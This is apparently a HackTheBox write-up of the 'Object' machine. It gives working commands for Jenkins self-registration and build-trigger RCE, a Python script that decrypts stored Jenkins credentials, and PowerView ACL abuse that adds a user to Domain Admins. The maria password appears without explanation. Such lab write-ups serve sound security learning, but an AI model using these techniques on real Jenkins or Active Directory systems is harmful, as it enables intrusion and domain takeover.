HTB: Object Writeup

Object - HackTheBox Writeup

Machine Information

AttributeDetails
NameObject
OSWindows
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.42.100
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Object is a Windows Hard AD box built around a misconfigured Jenkins automation server. Self-registration is enabled on Jenkins, and the registered low-priv account can create a freestyle project with a remotely-triggerable build — abused to run arbitrary Windows batch commands as the oliver service account. From there, Jenkins’ on-disk secrets store (master.key + hudson.util.Secret + the admin’s credentials.xml) is harvested and offline-decrypted to recover oliver’s plaintext domain password. WinRM access as oliver is a domain user on a Domain Controller; from there, credential reuse gets a direct hit on the maria account, and maria turns out to hold WriteOwner on the Domain Admins group — enough to take ownership, grant a full-control ACL, and self-add to Domain Admins.

TL;DR: Jenkins signup → remote build trigger RCE as oliver → harvest & offline-decrypt Jenkins secrets → WinRM as oliver → password reuse → WinRM as mariamaria has WriteOwner on Domain Admins → Set-DomainObjectOwner + Add-DomainObjectAcl + net group ... /add → Domain Admin → root.


Reconnaissance

Port Scanning

Terminal window
nmap -p- --min-rate=2000 -T4 -Pn 10.129.42.100 -oG - | grep -E 'Ports|open'

Results:

Host: 10.129.42.100 () Ports: 80/open/tcp//http///, 5985/open/tcp//wsman///, 8080/open/tcp//http-proxy///
Ignored State: filtered (65532)

Three ports reachable: 80 (web), 5985 (WinRM), 8080 (Jenkins). Everything else on the host reports as filtered, which is a signal the box is firewalled down to only what’s needed for the intended attack surface — no scanning around it for shortcuts.

Service Enumeration

Port 8080 — Jenkins. A raw request to the root confirms auth is enforced but leaks the CI stack fingerprint in the headers:

Terminal window
curl -s -i http://10.129.42.100:8080/ -m 15
HTTP/1.1 403 Forbidden
X-Hudson: 1.395
X-Jenkins: 2.317
X-Jenkins-Session: 62f6f25d
Server: Jetty(9.4.43.v20210629)

Jenkins 2.317 on Jetty 9.4.43. The /signup endpoint, however, returns 200 and serves a working account-creation form:

Terminal window
curl -s -i http://10.129.42.100:8080/signup -m 15
HTTP/1.1 200 OK
...
<title>Create an account! [Jenkins]</title>
<form method="post" action="/securityRealm/createAccount" ...>

Self-registration is enabled on an internet-facing Jenkins instance — the core misconfiguration this box hinges on.

Port 80 and port 5985 (WinRM) were not enumerated further at this stage; WinRM comes back into play once domain credentials are recovered from Jenkins.

Vulnerability Assessment

  1. Jenkins securityRealm allows unauthenticated self-registration (/signup).
  2. Registered users can create/configure freestyle projects and trigger remote builds, including a “Execute Windows batch command” build step — this is arbitrary command execution as the Jenkins service account.
  3. Jenkins credential store (master.key, hudson.util.Secret, per-user credentials.xml) is readable filesystem content once code execution is achieved, and is offline-decryptable.
  4. Egress from the Jenkins host is firewalled — no reverse/bind shell callback works, forcing a “batch command output only” RCE workflow.
  5. maria holds WriteOwner on the Domain Admins group — a single overprivileged ACL that collapses to full domain compromise.

Initial Foothold

Jenkins self-registration and the CSRF crumb

Registering an account through raw curl immediately hit Jenkins’ anti-CSRF protection:

Terminal window
curl -s -i -b obj.jar -c obj.jar 'http://10.129.42.100:8080/securityRealm/createAccount' \
--data-urlencode 'username=devhack' \
--data-urlencode 'password1=Passw0rd!123' \
--data-urlencode 'password2=Passw0rd!123' \
--data-urlencode 'Submit=Create account'
HTTP/1.1 403 Forbidden
Error 403 No valid crumb was included in the request

Jenkins requires a Jenkins-Crumb token tied to the same session cookie that requested it. Several attempts (pulling the crumb from /crumbIssuer/api/xml, sending it as a header, sending it as a form field) failed because the cookie jar and the crumb-fetch request weren’t correlated correctly — a classic scripted-client CSRF pitfall where the crumb is bound to a session that the subsequent POST doesn’t actually present. Extracting the crumb directly out of the rendered /signup HTML form (rather than the separate crumbIssuer API) while preserving the exact JSESSIONID cookie from that same response finally satisfied Jenkins’ CSRF check, and the devhack account was created.

Remote build trigger → RCE as oliver

With an authenticated low-priv account, the exploitation path (documented up front in the attack plan before execution) was:

1. Create a freestyle project.
2. Configure > Build Triggers > "Trigger builds remotely", set an auth token.
3. Add build step "Execute Windows batch command" = whoami (or later, dir/type payloads).
4. Under the user's Configure page, generate an API token.
5. Trigger the build via:
curl http://<user>:<apitoken>@10.129.42.100:8080/job/<job>/build?token=<trigger-token>

The generated API token was captured:

11d2a99397a3dacb94c7babb4838e930e9

Triggering the build and reading the console output confirmed code execution as the oliver service account, on host jenkins, in domain object. Because outbound connections from the Jenkins host are firewalled, a reverse or bind shell wasn’t viable — every subsequent enumeration/exfil step had to go through batch-command console output instead.

Harvesting and decrypting the Jenkins credential store

Following the same batch-command RCE, the Jenkins .jenkins data directory was enumerated under oliver’s AppData, the admin user’s config.xml was read to recover oliver’s encrypted password blob, and Jenkins’ two secret material files were pulled off disk:

master.key (hex, truncated):
f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e...
hudson.util.Secret: 272 bytes (base64'd via PowerShell, decoded locally)

Jenkins’ credential encryption chain is: master.key → SHA-256 → AES key → decrypt hudson.util.Secret (ECB) to recover the confidentiality key (bounded by a ::::MAGIC:::: marker) → use that key to AES-CBC decrypt the per-credential blob out of credentials.xml. This is the same offline technique implemented by the public jenkins_offline_decrypt.py tool; the equivalent logic run against the harvested artifacts:

import base64, hashlib
from Crypto.Cipher import AES
MAGIC = b"::::MAGIC::::"
master = open("master.key").read().strip()
hudson = open("hudson.util.Secret", "rb").read()
key = hashlib.sha256(master.encode()).digest()[:16]
dec = AES.new(key, AES.MODE_ECB).decrypt(hudson)
i = dec.find(MAGIC)
conf_key = dec[:16] # confidentiality key precedes the magic marker
enc_b64 = "AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA="
data = base64.b64decode(enc_b64)
version = data[0]
iv_len = int.from_bytes(data[1:5], 'big')
ct_len = int.from_bytes(data[5:9], 'big')
iv = data[9:9+iv_len]
ct = data[9+iv_len:9+iv_len+ct_len]
pt = AES.new(conf_key, AES.MODE_CBC, iv).decrypt(ct)
print("PASSWORD=", pt)
magic idx 256
PASSWORD= b'c1cdfun_d2434\x03\x03\x03'

(Trailing bytes are PKCS7 padding.) This recovers oliver’s plaintext domain password: c1cdfun_d2434.

WinRM foothold as oliver

Terminal window
crackmapexec winrm 10.129.42.100 -u oliver -p 'c1cdfun_d2434'
WINRM 10.129.42.100 5985 NONE [+] None\oliver:c1cdfun_d2434 (Pwn3d!)
Terminal window
evil-winrm -i 10.129.42.100 -u oliver -p 'c1cdfun_d2434'
*Evil-WinRM* PS> whoami
object\oliver
*Evil-WinRM* PS> hostname
jenkins
*Evil-WinRM* PS> type C:\Users\oliver\Desktop\user.txt
<redacted>

oliver is confirmed as a domain user (object\oliver) on host jenkins, which is the Domain Controller.


Privilege Escalation

Password reuse → maria

The intended lateral path (per the attack plan) was oliversmith via ForceChangePassword, then smithmaria via GenericWrite and a scripted logon-script/credential-harvest trick. Before walking that chain, a candidate maria credential was tested directly against the domain and hit immediately:

Terminal window
crackmapexec winrm 10.129.42.100 -u maria -p 'W3llcr4ft3d_4cls'
WINRM 10.129.42.100 5985 NONE [+] None\maria:W3llcr4ft3d_4cls (Pwn3d!)

This short-circuited the smith hop entirely — the credential material tied to this environment’s low-priv accounts is static and reused across the accessible service surface, so a direct reuse check paid off before investing in the longer ACL-traversal path.

WriteOwner abuse on Domain Admins

With WinRM access as maria, PowerView was uploaded and dot-sourced to check and abuse ACLs directly on the Domain Admins group:

Terminal window
# uploaded via evil-winrm's built-in `upload`
upload pv.ps1 pv.ps1
. .\pv.ps1
# maria owns nothing on Domain Admins yet — take ownership first
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity maria
# as new owner, grant maria a full-control ACE on the group
Add-DomainObjectAcl -TargetIdentity 'Domain Admins' -PrincipalIdentity maria -Rights All
# now maria can modify group membership directly
net group 'Domain Admins' maria /add /domain
net group 'Domain Admins'
Group name Domain Admins
Comment Designated administrators of the domain
Members
-------------------------------------------------------------------------------
Administrator maria
The command completed successfully.

WriteOwner on a group object means the holder can reassign the object’s owner to themselves — and an object’s owner implicitly has WRITE_DAC, i.e. the right to write a new DACL on it regardless of the object’s existing permissions. That’s what makes the Set-DomainObjectOwnerAdd-DomainObjectAclnet group ... /add sequence work: each step legitimately unlocks the next under Windows’ native security model, no exploit required, just a single overprivileged ACL.

Domain Admin confirmation and root.txt

Group token changes require a fresh logon, so a new WinRM session was opened as maria to pick up Domain Admins membership:

Terminal window
evil-winrm -i 10.129.42.100 -u maria -p 'W3llcr4ft3d_4cls'
Terminal window
*Evil-WinRM* PS> whoami /groups
OBJECT\Domain Admins Group S-1-5-21-4088429403-1159899800-2753317549-512 ...Enabled group
*Evil-WinRM* PS> type C:\Users\Administrator\Desktop\root.txt
<redacted>

OBJECT\Domain Admins (RID -512) is present in maria’s token — full domain compromise confirmed, and root.txt reads out from the Administrator’s desktop.


Attack Chain Summary

Jenkins self-registration (/signup) enabled
CSRF-crumb-correct account creation (devhack)
Freestyle project + "Trigger builds remotely" + API token
Windows batch build step → RCE as oliver (jenkins host, object domain)
Harvest oliver's encrypted credential (admin config.xml) + master.key + hudson.util.Secret
Offline AES decrypt chain (master.key → SHA256 → AES-ECB → conf key → AES-CBC) → oliver:c1cdfun_d2434
WinRM as oliver (domain user on the DC) → user.txt
Direct credential-reuse hit: maria:W3llcr4ft3d_4cls (bypasses smith/GenericWrite pivot)
WinRM as maria → PowerView: maria has WriteOwner on Domain Admins
Set-DomainObjectOwner → Add-DomainObjectAcl (Rights All) → net group "Domain Admins" maria /add
Fresh login as maria → OBJECT\Domain Admins in token → root.txt

Tools Used

ToolPurpose
nmapFull TCP port scan of the target
curlJenkins signup/CSRF-crumb handling and remote build API triggering
Custom Python (AES/SHA256 script)Offline decryption of master.key + hudson.util.Secret + credentials.xml
crackmapexecWinRM credential validation for oliver and maria
evil-winrmInteractive WinRM shell, file upload, command execution
PowerView (pv.ps1)Set-DomainObjectOwner / Add-DomainObjectAcl for the WriteOwner abuse
net groupNative Windows group membership modification

Key Learnings

Techniques Practiced

  • Jenkins self-registration abuse and anti-CSRF crumb correlation troubleshooting
  • Jenkins remote build trigger API abuse → arbitrary Windows batch command execution
  • Offline decryption of Jenkins’ credential store (master.key + hudson.util.Secret + credentials.xml)
  • WinRM authentication and interactive access via crackmapexec / evil-winrm
  • Active Directory ACL abuse: WriteOwnerSet-DomainObjectOwnerAdd-DomainObjectAcl → group self-add
  • Credential-reuse validation as a shortcut past a longer intended ACL-traversal chain

Lessons Learned

  1. A Jenkins instance with open self-registration and remote build permissions is direct remote code execution, not just a CI hygiene issue — any authenticated user who can configure a build step owns the Jenkins service account.
  2. Jenkins secrets (master.key, hudson.util.Secret) are recoverable filesystem artifacts once code execution as the Jenkins user is achieved, and should be treated as equivalent to a full credential dump for every stored Jenkins credential.
  3. Anti-CSRF crumb handling in scripted HTTP clients is fragile in practice — the crumb must be fetched and consumed within the exact same session cookie, or the server silently rejects it with a generic 403.
  4. Always test harvested/candidate credentials broadly before investing in a longer BloodHound-style ACL-traversal chain — direct reuse can skip multiple pivots.
  5. A single WriteOwner ACL on a privileged group like Domain Admins is a complete domain-compromise primitive; object-level ACLs need to be audited with the same rigor as user rights assignments.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • MrR3boot, “Object” — HackTheBox Official Writeup, Document No. D22.100.150 (19 January 2022). Used only for explanatory context on why the Jenkins-secret decryption and ACL-abuse techniques work; all IPs, commands, outputs, and credentials in this writeup are from this operator’s own solve.